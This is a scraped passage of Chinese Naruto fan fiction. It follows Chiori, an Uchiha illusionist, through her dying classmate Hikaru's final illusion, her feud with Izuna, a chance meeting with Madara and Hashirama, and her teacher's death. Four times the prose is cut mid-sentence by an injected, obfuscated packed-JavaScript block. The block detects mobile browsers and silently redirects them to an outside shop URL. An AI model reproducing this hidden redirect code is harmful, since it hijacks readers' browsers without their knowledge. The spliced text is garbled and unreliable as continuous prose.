千织看着他,突然叹气,从包里掏出手帕糊上了他的脸,粗暴地擦掉他脸上的眼泪后把手帕塞到了他伸出来的手中,而后拽着他的手腕往某个方向走去。 “这也能哭……你到底是不是忍者啊?”他听见千织吐槽道,“这次我们去小孩子最该去的地方。” “因为我的愿望突然之间都实现了——小孩子?”他问。 “是啊,就是你这种小孩子应该去的地方,不是什么战场和稀奇古怪的任务地点——”周围的场景随着术者的操控瞬息变幻,原本车水马龙的街头也变成了一个奇怪的大型露天场所,很多小孩子在大人的陪同下闲逛,入目是奇幻的城堡、彩色的气球和一座座高耸的不知名建筑,欢快的音乐和人群的欢声笑语共同向他的听觉神经涌来,而后他听见幻术的主人理所当然的声音,“当然要来游乐园玩啊。珍惜吧,这可是独家限定版,全世界只此一份的乐园!” 千织望向自己的幻术图景,语气充满了自豪,眼神也闪闪发光。 他侧头去看千织的表情,也不追究他们之间谁才该被叫作小孩子。 他知道千织有秘密,内心柔软的千织、心中有一个和现实截然不同世界的千织、渴望世界和平没有战争的千织、抗拒着外人害怕内心受伤的千织……她有一个很重要的秘密。 只是他一开始总觉得自己可以改变千织,才想要让她记住自己。 他此刻一定让千织受伤了。 “怎么样?”千织转过头问他。 “简直比得上老师的水准了。”他握紧了千织的手。 “啊?这种话就算了吧!”千织皱紧了眉,“太夸张了,可不能被老师……”知道。 她突然顿住。 老师自然不可能知道的。 “好了,我们先从最刺激的玩起!”黑发小姑娘指向了忍者变异版的云霄飞车,定下了他们第一步的游玩计划。 “……好。”他看着近乎跨越整个园区、如同魔幻迷宫般的轨道和上面飞驰而过的云霄飞车,耳边是上面游客的惊恐尖叫,沉默了一瞬,勉强答应。 他悄悄看向千织。 她似乎忘记了他快死掉的事实,全身心地投入到了这场幻术当中。 他感到了幸福。 被千织称呼名字,很幸福。 和千织一起玩,很幸福。 忘掉现实的痛苦,懦弱地逃往虚幻的世界,可是千织在他身边,很幸福。 ……可以死在千织的世界中,真的很幸福。 “走啦!”千织拉着他走到游乐设施的排队通道。 “谢谢。”他的道谢淹没在涌动的人潮当中。 …… 这一次幻术的解除条件是中术者身亡。 “你这家伙,对哥哥干了什么!” 脱离幻境的下一秒,我被人狠狠地压倒在地,泉奈的声音愤怒到了极点。 我的头很晕,刚才的幻术对我的负担还是太大了,眼睛的地方湿漉漉的,眼前一片猩红,似乎流血了。 “你……”我还没来得及说什么,泉奈就被人拉开,我也被另一个人挡在了身后。 ……火核? 有点看不清是谁,背影很像。 “泉奈,住手,这是你哥哥的遗愿。”我听见了族长大人的声音。 “千织,你现在怎么样?”挡住我的人回过头来,他将我抱起来,声音关切。 是火核的声音。 我想说自己还好,但是下一刻就晕了过去,什么都感觉不到了。 我做了一个漫长的梦。 梦里老师院子里的花常开不败,艳红的椿花孤傲地伫立在枝头。 我和辉每天都去拜访老师,在那个院 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13107849|138195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子里相互较量。 他的幻术向来比不过我,但他从来没有露出过负面的情绪,每次他都会说:“真厉害啊,千织。” 有时候被他说得不好意思了,我会说:“你的忍术也很厉害。” 梦里没有战争,我们就像普通的孩子上学一样,每天见面、道别,接到手的都是些很轻松的找猫猫狗狗呀,农田除草呀的任务。 很安心。 这样的生活很安心。 然后突然有一天,我醒了过来。 清晨的光线透过纸门,照在房间里显得有些许的黯淡。 我睁着眼睛看着天花板,身体里原本紊乱的瞳力和查克拉都平静了下来。爸爸妈妈交谈的声音模模糊糊的从外面传来,我一言不发地听着。 “她太小了……” “还好族长大人没有怪罪……” “当初就不该……” “那孩子的幻术……” 幻术是一柄双刃剑,每个学习幻术的人的第一堂课就是不要被虚幻的世界所迷惑。 我听着爸爸妈妈的交谈声,他们似乎认为我学习幻术的年龄太小,将幻术当作的逃避的方式。 ——其实也没什么错。 我确实喜欢在幻术中回忆自己以前的生活,所以会耐心地一个个塑造幻术中的npc,让他们看起来像是真的人。 我轻轻咳了一声,让他们知道我醒了,然后换好衣服出门去见他们。 “我去见老师,爸爸妈妈。” 他们表情有些尴尬,应该是猜到我听见他们谈话了,我垂眸不去看他们,解释了一声:“我没有被幻术迷惑。” 尽管有了心理准备,但站在老师门前时,我还是下意识地恍惚了一瞬,心脏猛地抽痛起来,十分难受。 往后只有我一个人来找老师了。 辉的去世所带来的后遗症慢慢地显现出来。 我们在这里留下过太多的回忆,熟悉的街道、玩笑的对话、比试、互相解答对方的疑问……到处都是他的影子,然后有个声音后知后觉般地告诉大脑:“他不在了。” “老师,”我坐在老师面前,俯下身体道歉,“我对辉用了幻术。” 术者竟然会沉溺于虚幻的世界,懦弱地逃向幻术编织的虚假世界,比一般忍者沉迷幻术还不可饶恕。 我们是他的弟子,这件事我们俩都有份,谁也脱不了干系。 二长老一言不发地看着我。 “起来吧……我还记得你以前说想要学习的幻术的原因。”他突然说。 我愣了一下,坐起身来,想到当初那个copy自未来族长的话,有些不自在。 “……那不是真的。”我觉得自己的事后补丁十分苍白。 “现在的你对那个想法怎么看?”老师问我。 “……很痛苦。”身为施术者的我明知道一切都是假的,还要若无其事地把一切当作真的,如果不是因为辉快死了,我根本演不下去。 更痛苦的是,他也知道这些都是假的。 明明是欺骗感官的幻术,到头来只是自欺欺人。 唯一的作用大概只是让辉在临终前好过一些,感觉不到那么多痛苦。 “千织,你是我天赋最高的弟子,也是最后的弟子了,不要因为幻术而死。” 老师说道。 9. 葬礼 从老师家出来,我茫然地站在街上,不知道该往哪里走。 ……去找哥哥好了。 以往有心事的时候、不开心的时候,我就跑去找火核。 只是我不知道火核现在想不想看见我,他的好朋友死了,我再去很有可能让他想起这件事。 就在我还在犹豫的时候,有人叫住了我。 “宇智波千织。”熟悉的嗓音带着股咬牙切齿的意味。 声音的主人昨天差点和我打起来。 我转头看去,泉奈站在离我不远的地方,狠狠地瞪着我。 “宇智波泉奈,”昨天他的反应太过激烈,我有点怀疑我们等会儿可能会动上手,“什么事?” 他表情凶狠,却又克制着没有上前,原本还显得清澈的少年音声线压得十分低沉:“你为什么要那样对哥哥,亵渎他的死亡。” 亵渎? 是啊,在忍者的观念中,忍者怎么可以死在轻飘飘的、温柔的、逃避一切的幻术里。 我的幻术将他的战亡蒙上了一层怯懦的阴影。 将他属于忍者的荣耀留下了污渍……所以我真的无法理解忍者的观念。 我感觉我的眉头不受控制地痛苦抽搐了一下,我垂眸看向地上的影子:“……他太痛苦了,我想让他安静地离开。” 他是什么时候产生这样的想法呢?或许我当初不该对他用那个幻术。 柔软的、和平的世界对战乱中的我们有着不可思议的吸引力,就像他当初没有用蛮力反抗幻术中的普通人,乖乖地跟着上了一堂不知所谓的课一样。 “哥哥那时候只是……”泉奈的声音发起抖来,我看着他,突然明白了,与其说他是想说服我,不如说他是在说服自己,“他只是伤太重了……那些话根本、根本不是……” 这样不行。 “那些幻术根本不是哥哥……”泉奈脸上流露出痛苦的神色,他想要说服自己哥哥不是自愿沉迷于幻术,一切只是重伤后无条理的呓语。 一旦认同了他的哥哥是自愿死于幻术中的,他作为忍者的决心就会动摇,他会在战场上犹豫。 会死的。 死亡可能会比他原定的命运来得更早。 “是啊,我知道,”我看向他,心中忽然冷静得不可思议,“所以我没办法上战场啊。” 他不知道这是辉很早就对我提出过的请求。 “我没办法看着他这么痛苦,听着他叫着我的名字什么都不做,所以我明知道自己不该做这些,假装那是辉君真实的想法,对他用了幻术。不过,这只是我的一厢情愿罢了。” 我不需要向他去解释以前那些事,那些事情本来就和宇智波泉奈无关:“否则,你以为我为什么开了写轮眼却不再上战场?” “……你这家伙!”泉奈不可置信地瞪大眼睛,看着冷静地说出这些话的我,愤怒淹没了他,“你到底把哥哥当作了什么,他明明那么重视你!你又把忍者当做了什么!” 我说过,我要把心变得很小,最好除了自己谁也装不下。 但是因为亲缘的不可抗力,里面多了几个人,但这已经足够了,不会再有更多人了。 “辉君是我的同学,仅此而已。” 其实这话也就只能骗骗还在盛怒中的泉奈,昨天早上我不该去看辉的。 察觉到他的情绪,我戒备地握上苦无,微微眯起眼看他:“别在这打,去训练场,老师他刚休息。” 从这天起,我和宇智波泉奈结下了梁子。 那天我和他在训练场打得旁人根本拦不住,忍术体术变着法往对方身上招呼,连在一旁监督的成年忍者都没办法阻止,最后他们去叫了如今唯二能管住泉奈的人之一斑。 泉奈的实战经验丰富,但以往和我喂招的是他的哥哥和我的哥哥,我们年纪相近,并分不出太大的高下,最后双方身上都是伤。 斑来的时候,我们俩正在往对方脸上招呼。 刚刚失去了一个弟弟的斑气压很低,他大概还在帮忙处理辉的后事,来了之后声音冷得掉渣,叫停了我们。 泉奈拉着他哥告状,我冷漠地看着他俩,最后斑看着我们身上的伤,一视同仁地斥责了我们在训练场上不知道点到为止,并在泉奈不可置信的目光中给出了我们相同时间的封号处理。 一周内不许来训练场。 斑把泉奈带走了。 我站在训练场边上,刚被禁赛,再加上我和泉奈刚才打得完全不顾及旁边的人,同族的孩子都绕着我走,生怕被我逮住,走远了才敢偷偷打量我几眼。 身上的伤后知后觉地痛起来,左手手腕脱臼了,腿也有点疼。 我在考虑要不要用幻术欺骗一下自己的感官的时候,得到消息的火核也来了。 这家伙沉着脸问我:“怎么和泉奈打起来了?” “昨天那件事,”我把手举起来给他看,“哥,我受伤了,好痛。” 他本来还打算说什么,见状神色突然一滞,然后伸手把手腕给我接了回去。 就是脸色依旧很难看。 他打量着我身上的伤,犹豫了一下:“还能走吗?” “我可以用幻术。” 他深深吸了一口气,眉头皱得死紧:“这几天别让我再听见幻术这个词。” 然后他转身蹲下,语气凶狠:“上来,回家再教训你。” “……你这样的话我就不回家了。”我又有点想哭,宇智波斑就没有这么凶泉奈。 火核:“……” “别哭了,我刚才说的不算。回家了,千织。”他叹了口气,放软语气。 “哦。”我慢吞吞地挪到他背上,他背着我回家。 过了一会儿,我和火核说:“宇智波泉奈是走着回去的。” 火核沉默了一阵子,大概是在思索我想说什么,然后回答道:“既然实力不济,以后就少招惹他。” “……我不是这个意思!”我可没输!未来族长要是没来,我还可以和他大战三百回合! “我是说,他是走着回去的!自己走的!” 火核的声音带起一阵迷惑:“不要逞强,受伤了就好好待着。” 他大概理解成了我也要走着回家。 “……” 算了,不说了。 ……火核这个大骗子。 回家后他带着我找妈妈给我的伤口上了药,然后就开始在我耳边数落我。 说好了不教训我的! 我躺在被子里,听着他坐在我边上说话,背对着他嗯嗯嗯不过脑地点头,也不知道什么时候,他不再说话了。 “哥?”我翻过身看他。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13107850|138195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我第一次在他脸上见到沮丧这种表情,突然间就想起来了,死去的也是他的朋友。 火核伸手摸了摸我的头发,语气很微妙:“你喜欢辉吗?” 和几年前相似的问题。 我摇头:“我不讨厌他。” 这个人太奇怪了,一股脑地凑上来让我记住他的名字,也不在意我每次都拒绝他。 他只是,很奇怪的一个人,但我不讨厌,甚至于有点习惯他了。 “那就好,我之前真的很担心,你的表现吓到我了。”火核轻微地叹了一口气。 “……对不起,哥哥,”我犹豫了一下,将手伸出被子,握住他的手,“明明你们是好朋友,你也很难过,我还惹了这么多麻烦。” 他没有说话,而是拍了拍我的脑袋。 “别想那么多,睡吧,明天起来伤就好了,”好一会儿,我听见他轻声说道,“你们都很重要,我怎么可能因为这种事怪你?” …… 熟悉的葬礼年复一年地站在族里的墓群举行,我似乎也跟着一起麻木了。 比我还年幼的、初次遭遇亲人去世的孩子们或多或少都忍不住哭泣声。铁锹挖着墓穴的声音枯燥而肃穆,我没忍住往族长家的方向看了眼。 族长家的四个人神色肃穆地看着即将下葬的棺椁,几年前还在因大哥去世哭泣的泉奈也学会了控制自己的表情,只是脸上多出了仇恨。 田岛族长忽然看了过来。 时至今日我也不知道他是如何看待幻术事件的,强大铁血的族长自然是忍者中的忍者,但那天我分明听见了他也在阻止泉奈。 回想起来,未来族长也没有阻止我,他们究竟是怎么想的? 板着张脸的族长对我轻点了下头,他身边的族长夫人注意到丈夫的动作,也看了过来。 ……族长夫人比上次见更憔悴了,她也同样对我微微颔首。 我收回了目光。 在葬礼结束后,我让爸爸妈妈先回去,说我想再待一会儿。 他们知道辉君是我的同学,因此也没多说什么,只是拜托火核看好我,这才离开。 我磨蹭到族长一家离开后,才走到辉君的墓前。 没有什么想要说的,在他生前的那个幻术中,我们都没有谈论相关的事,更不用说如今我面对的只是一块沉默的墓碑。 只是这个家伙总是哭,我拿出之前他还我的那张手帕在他墓前用火遁烧了,希望他在另一个世界能多行使一些小孩子的权利,别总是把忍者的准则放在嘴边了。 算起来,这张手帕也算是我与他关系的起始。 ——明年带点花给他吧。 这么想着,我把位置留给了火核,让他和好朋友独处一会儿,等在不远处。 “宇智波千织。”我望着火核的背影,突然听见了泉奈的声音。 回头看去,折返后的他表情平静一些,只是眼神却让我有些不理解了。 “什么事?” “你刚才在烧了什么?”泉奈问我。 “没什么,一张手帕而已。” 他哦了一声,又在我身边看了一会儿站在辉墓前的火核,然后转身准备离去。 “你回来做什么?”我又问他。 他哼了一声:“看看你们留下来想干什么罢了。” 10. 误入 我以为葬礼之后,泉奈大概已经放下那件事了。 然而并不是。 我们的训练场封号期结束后,经常发生的一件事,是我从老师家出来,就能见到他等在门口。 “比试。”他总是言简意赅。 于是我就跟着他往训练场走,每次我们总是打得不相上下。因为之前未来族长给我们封号处理的前车之鉴,我们会注意收着点,不波及旁人。 到后来我一放学看见他守在门口,也不用他说话,直接就往训练场走。 有一次我都在他面前走了一小段路了他还没跟上,就回头问他,有点疑惑:“不走吗?” 难道今天是来找老师的? 他看着我,眉梢轻微地动了动,张了张唇,脸上有些茫然。 然而下一刻,他的表情便冷酷起来,向我走来,语气挑衅:“想退出就直说。” ——这就是我们总能打起来的原因。 宇智波泉奈说话是真的知道怎么气人。 有一次我无意撞见他和族里其他小姑娘讲解训练要点,见他表情温和,我才猛然想起在辉君那件事之前,他找我时也是谦和有礼的。 此时年轻一代已经隐隐有了以未来族长和他为首的趋势了,我跟着老师学幻术,以后多半是走密探的路子,不往战场凑,也就跟个寡王一样三点一线,除了在训练场很少见到他们,自然不清楚他对旁人的态度。 ——对了,这人原本在漫画里的评价就是温和而有奉献感。 当时我从自己模糊的记忆里找出这条信息,恍然大悟。 而后他应该是察觉到了我的目光,抬眼看来。发现是我的时候,他脸色瞬间就变了。 我也不是很在意他的心情,毕竟我们之间嫌隙那么大,也没去打扰他,直接离开。 第二年开春的战争雇佣结束后,发生了一件事。 我当时去外面做了个单人的探听情报任务,任务难度很低,面对的都是普通人,因此结束任务后我还有心思在回族里前买了些点心,没急着太赶路。 路过南贺川时,我听见了未来族长的说话声。 很大声,很有精神,还有点气势汹汹,似乎在教训什么人。 这让我想起未来族长去训练场的时候,他似乎也是用着这么个语气和交手的族人们说着他们的漏洞和改进之处的。 好正常的未来族长,感觉阳光过头了,和我印象里那个大反派的气质完全不一样。 然后我听见另一个和他争执的少年音。 很好,这个声音更阳光,光听着这个人像是无所谓般的哈哈笑声,我都觉得自己要被天上的太阳晒死了。 泉奈的气息在远处一闪而过,同时消失的还有另一个很陌生的气息。 我站在河边沉思——这是个什么情况。 好家伙,似乎误入了著名的两族少主交友现场。 那刚才泉奈的气息也就有了解释,另一个不会是千手扉间吧? ……绕路回家吧,遇上谁都怪麻烦的。 难怪最近没怎么在训练场看见未来族长。 这么想着的时候,我没收敛气息停留在南贺川边上的行为似乎已经引起了他们的注意。 “谁?”率先出声的是隔壁家那个少主。 然后是未来族长喊着“等等”的声音,估计未来族长认出我的气息了。 他们的速度太快了。 我拎着捆成一大包的点心,麻木地看着一前一后出现在我面对的西瓜头和黑短炸,然后看向自家未来的族长。 未来族长的脸上写满了尴尬,整个人都僵硬了。他看看我,又转头看向西瓜头,深深吸了一口气。 我在思考是装作不认识离开还是开口说话。 火核总说我想太多,我也觉得是这样。于是我看向未来族长,决定等他表演。 然而先开口的却是隔壁家的少主。 他似乎察觉到了什么,回头看了眼未来族长,又看向我,开口就是王炸,语气爽朗极了:“是个小姑娘啊,你们认识?” 我已经选好了假装不认识的借口,我猜未来族长会选不认识。 到时候我们里应外合——错了,太久没有用过母语,我似乎染上了乱用成语的习惯。 我不由走神了,当着一个身份不明、或者说是敌对家族的人的面。 这对现在的我可以说是一个不应该犯的错。 “……是我的族妹,你别说话,我来和她交涉。”未来族长的声音拉回我的注意力。 我注意到他隐去了隔壁少主的名字。 穿着蓝色甚平的刺猬头拍了下有点茫然的西瓜头的肩膀,走上前来。 我已经在脑子里完成了逻辑自洽。 也是,隔壁少主的名字其实和未来族长一样,已经在忍者间隐隐有了些名声。 虽然未来族长大概还没听过千手柱间的大名,但是估计怕我听过“柱间”相关的传言。 然后他们之间脆弱的平衡便会被打破。 “千织,”未来族长绷着一张脸,指向柱间,“这是镇上的普通人,希望你能保密。” 我:…… 我是很想相信未来族长的说辞啦……但是刚才是隔壁少主先察觉到我的诶? 普通人能隔着这么远的距离察觉到旁人的气息? “这样,”我艰难地扯了下嘴角,点头,然后告诉他不可能,“虽然我也想保密,但是抱歉,大概不行。” “什么?”千手柱间大声地喊了出来,有些跃跃欲试地想要上前开口,“斑,你的交涉完全不行啊。” 未来族长原本因为我毫不留情的拒绝微微睁大了眼睛。 结果他在听到隔壁少主的话后表情立刻扭曲起来,转过头怒吼:“总之你先闭嘴,难道还让你来说吗?” “为什么不行,我……” “……刚才,我察觉到两道气息离开了哦。” 好活泼的未来族长和隔壁西瓜头,受不了了,再听下去我对他们的滤镜就要碎成片了。 我悄悄退了两步,打断他们的“争执”。 两人同时止住了声音,看了过来。 “……总之,一个是泉……”我顿了下,吞回泉奈的名字,然后指向另一个方向,“是您的弟弟,还有另一个陌生的气息往那个方向离开了,速度很快,应该是察觉到我来了这边。” 在我指出方向后,千手柱间想到了什么般,面容犹豫起来。 估计猜到另一个人是他的族人了。 “所以我不说出去大概也是无济于事。”我说道。 看着怔住的未来族长,我摸了包点心当作安慰递给他,有些唏嘘:“我先回家了,总之我会保密的,你们继续。” 接下来大概就是相互截杀、未来族长开眼的剧情了吧。 说起来,未来族长是甜党还是咸党啊,他不喜欢吃甜食吧? “等、等等啊!”千手柱间回过神来,下意识喊道。 会等才怪。 才不掺和你们的事,提醒一句已经是仁至义尽了。 我抱着剩下那一大捆点心跑得飞快。 回到族里后,我先把点心分了一份带去给火核,然后把特别做了记号没什么糖的那份找出来送去老师那里。 从老师家出来没多久,泉奈便拦在我面前。 不是吧? 明天准备截杀千手少主诶,今天还有精力和我打架? “你回来的路上有没有注意到什么?”泉奈问我,神情很严肃。 我歪了歪头看他:“回来的路上?” “发生什么了吗?”我觉得我的演技越发好了,都是族里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13107851|138195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 老师们的培养得好。 他表情微顿,微微侧过脸,避开我的目光:“没什么,哥哥没在族里,我以为你回来的路上会看见他。” “抱歉,没有看到斑大人。” “泉奈,找我有事吗?” 我刚说完,就听见身后传来了未来族长的声音。 我松了口气,对着回到族里的未来族长点了下头,然后离开。 也不知道未来族长和隔壁少主怎么处理现在的情况,明天的计划估计是躲不过去的, 总之一切和我无关。 第二天到底发生了什么事我也不是很清楚,没有参与其中的我也不知道与原著相比未来族长和千手柱间的决裂的剧情有什么改变。 总之不久后未来族长开眼的消息在族里传开了。 对于族人和他,这都是个好事。 只要未来族长能活到成年,族长之位相当于已经是他的了。 只是偶尔遇到未来族长的时候,他会用一种欲言又止的目光看我。 不过我没去打听,他也不可能来找我主动聊这事。 和敌对家族的成员交朋友这事儿还是挺严肃的,传出去可不好。 倒是之后在训练场的时候,泉奈又问了我一遍:“你真的不知道那天哥哥去哪里了吗?” “他是你哥哥,不是我哥哥。”我的回答让他的表情更难看了。 不过那天他在对练时似乎有些分心,我得以在他脸上留了道彩。 事后我和火核说了战绩,火核很无奈。 “为什么一定是泉奈?”他问我。 “啊?”我有些不解,“什么意思?” 他很耐心地解释了一遍自己的问题:“为什么一定要和泉奈对练,那件事不是已经过去了吗?” “……大概是他的态度吧,”我思索片刻,觉得是因为泉奈的态度很明显就是在激我下场——不是我和他过不去,是他和我过不去,“不过和他对练也能帮助我提高水平啦,哥你别担心。” 火核揉了揉我的脑袋,似乎想说什么,但还是摇头:“你们俩就跟斗气的小孩子一样……算了,本来就是小孩子。” “只有他是!”我瞪着火核,“我可没主动挑事!我只是应战罢了!” 火核面无表情地勾起嘴角,充分展示了什么叫作冷笑:“我不信。好几次我都听到你们的对话了,你也不无辜。” “够了啊,你到底是谁哥哥啊!”我用头槌去顶他的手。 “我在担心你,千织,”火核叹气,躲开我的脑袋收回手,“他毕竟是斑大人的弟弟,族长大人家的孩子。” 不知道什么时候起,火核就对未来族长改了称呼。 斑大人。 泾渭分明的身份界限,区分开上级与部下。 这次我没说话了。 “会给你带来麻烦吗?”我抬头看他。 火核摇了摇头:“斑大人不会在乎这些,他不是为了私事为难部下之人。只是你们现在还好,可往后长大了再来看今天的事,泉奈又会怎么想呢?” 我该冷静的。 火核提醒了我。 日后泉奈会辅佐未来族长,在族中的话语权不比未来族长低。 我们终归身份不一样。 “……他也不是那种人。”我轻轻说了一声。 毕竟那个人是为了一族能够奉献生命与眼睛的人。 奇怪,怎么这样就感觉是我故意欺负他了。 火核的目光更加担忧了些。 我和他承诺自己会收敛一些的。 ……才怪。 第二天泉奈站在老师家门口时,我向他表达不去对练的意图后,他问我:“你认输了?” ——忍不了一点。 于是又是一个在训练场翻滚擦地的一天。 11. 要求 十二岁那年,老师去世了。 他是在冬天走的。 他身上有旧伤,到了晚年又患上了不少病,身边也没什么人照顾,悄无声息地就在一个雪天中去世了。 我是第一个发现他去世的。 那天我照常去他家上课,昨天晚上下了雪,院子里堆了不少,有点堵门了。 我吹了个火遁融掉院内的雪,满院子水汽蒸腾。 我穿过白雾走到近前,发现房间门没关,吹了一晚上冷风的屋子从内透着股不祥的冷气。 “老师!”我大声唤了一声,没人答应。 往常这时候老师都已经坐着轮椅移到外面廊下等着我了。 顾不得其他,我分了个身去医疗所找人,一边走了进去。 ——老师俯在桌前,头微微侧着枕在屈着的手臂上,像是睡着了。 他花白的头发覆在背上,让人分不清冰霜和白发,尸身已经凉透。 我停下了脚步。 族医来了后又让我去通知族长大人,毕竟老师再怎么说也是族中的长老。 之后陆陆续续来了些人,我站在一边听着大人们隐晦的交谈。 他们说老师的孩子很多年前就战死了,后来老师的腿也是为了给孩子报仇断的,我又听他们说老师的妻子也走得早,师母走后老师一直没有再娶,把孩子拉扯大云云。 大抵是预计到大限将至,老师去世前留了遗书,写了遗产如何处理。 他留了些自己的忍术和幻术卷轴给我,都已经分好了类单独放在一边,其他卷轴和财物也直接捐给了族里,最后说自己想和亡妻与孩子葬在一处。 安排好老师的后事,田岛族长便召集了其他几位长老,再叫上我去讨论原本归老师处理的那部分族务怎么安排。 老师没有后人,我是他唯一活着的弟子,自然有权知道这些。但我也心知肚明,虽然说是叫上我去讨论,其实也只是让我做个见证罢了。 老师负责的族务部分一向是族里孤寡老弱的申请,常见的都是些“房顶漏雨了够不着修房子,族里可以帮忙吗?”、“二长老爷爷,族里这个月的补贴会不会因为战争延迟发放啊?”、“我什么时候可以去外面接任务啊爷爷?” 这种没什么格式的申请文书,因为后者是小孩子写的,字迹看得人尤为吃力。 一开始跟着老师学习怎么处理这些东西的时候,我就守在一旁看他批复。 他每份文书都回得很认真,在回孩子们的信件时还会特意改成全假名书写,避免他们认不全字。 有时候老师会让我从他家带点东西给这些失去父母的孩子。 这些事田岛族长知道,但这些文件一般是到不到他那里去的,他所过手的是更为机要的事务。 实力强横的、被外界传为高傲的宇智波一族,族内也有着一批或因天灾人祸或因天生的缺陷导致的弱势一方。 在外征战的族人,是为了族群的发展,也是为了保护族人与家园,其中当然也包括守护他们。 “这不是还有千织吗?”说话的三长老平日里负责族里孩子的基础教学,我小时候忍者启蒙的时候也在她手底下挨过揍,平日里她经常在训练场附近看着我们,见我看过去,她对我微微笑了一下,脸色便又严肃起来,“我记得她也学着处理过,交给她也不错。” 田岛族长瞟了我一眼,拒绝了:“她不行。过段时间,我要派她去北方据点,这些年来没有让她跟着出征展露名声、跟在和真长老身边学习幻术,也是为此。” 原来如此,果然田岛族长早就有了其他安排。 我在训练场的表现只要不是瞎子都能看出我能够杀敌,虽说族中不要求女性必须上战场,但族中有些人依旧颇有微词。 我坐在一旁安静地听着他们讨论,虽说早有被派出去做探子的心理准备,但从族长这里听见还是有几分惊讶。 等几位长老离开后,田岛族长让我又留了一下。 他带着我去见了一对普通人夫妻。 他们是依附于宇智波一族的暗探,在族长的另一间会客室内显然已经等了很久。 “往后你要扮作他们的女儿,随他们一起隐藏在京中,”田岛族长说道,“你作为忍者的能力我充分信任,不过这些日子,他们会教导你密探需要掌握的能力。” 我没有问这份新工作我需要做多久。既然给我安排了虚假的家人,那么这显然不是一个短期的任务。 我隐约察觉到田岛族长并不是想让我做个简单的探子,这个任务族里很多人都能胜任,偏偏要修习过幻术的我偷偷潜入,可能之后田岛族长会有其他指令给我。 甚至在六年前,田岛族长就计划好了这一切。 “往后的日子请多指教。”我朝他们微微低了下头,终究没有叫出父亲母亲。 我爸妈都还好好活着,这就叫别人爸妈,过于不吉利了。 忙完老师的后事花了好几天,老师下葬后我才有时间看他留给我的卷轴。 卷轴上几乎都是他的手稿,写满了他对幻术的研究,少部分忍术卷轴是他年轻时的研究成果。 我对忍术的兴趣没那么大,看了几眼就放下了,准备看完幻术卷轴再看这些。除此之后还有几份不知道传了多久的卷轴,我试了试,没打开,不知道是不是有什么特殊条件才能开启,最后无奈跟忍术卷轴放一起。 ——总感觉忘了什么。 不过我现在还在速通密探养成培训,每天两点一线奔波在完成前置任务的路上,想不起来的事大概也没有那么重要。 直到有一天火核上门来看我,给我带了点他从族外买的礼物。 我放下礼物后收好幻术卷轴,问他任务完成得怎么样。 他说还行,中规中矩的护送任务,路上遇到了千手的队伍,不过问题不大。 两族当时没有冲突任务,为了自己族人的任务不出差错,双方勉强没有起冲突,应付过去了。 “说起来,对面领队的,是千手一族的少族长,在战场上总是和斑大人争锋相对的那个人。” 我默然无语。 争锋相对? 知道千手带队的居然是千手柱间,我后怕地看着火核,要是真的打起来…… 呸呸呸,不吉利! “亏你能活着回来,”我瞪了他一眼,“这种情况你还说是中规中矩,运气好而已!” 他满脸无语:“你还是不是我妹妹了?对了,回来的路上我遇到了泉奈,他和我打听你。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13107852|138195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “啊。”我恍然大悟,原来是把他忘了。 “……他不会说我坏话了吧?”我狐疑地看向火核。 火核沉默,火核叹气。 “有时候我也有些同情他了,”他说,“他只是担心你还在因为二长老的事伤心。” “族长对外宣布你生病了——很严重,没法出门的那种。” 这也正常,毕竟过段时间我就要去做长期任务了。我在族里消失那么久,肯定有人会想到我是外出任务去了,这是为了保护我。 就是被人说病得没法出门……有点不吉利,就跟让我喊其他人爸妈一样。 “那你怎么说的?”我问火核,不知道为什么,心中有点忐忑。 “自然是跟着族长大人的命令走,没告诉他你的情况……越少人知道你的事,你就越安全。” 我一瞬间不知道自己该说什么,最后低下头小声说道:“他肯定会幸灾乐祸。” “他很担心,但让我别告诉你,你们其实是很关心彼此的朋友啊。” “那你为什么和我说……而且谁家朋友隔三差五打架,”想起之前看见泉奈时他猛然变换的神色,刚才那点不安和说不出的感觉瞬间消散,我轻哼了一声,“他还在因为辉君的事记恨我呢。” 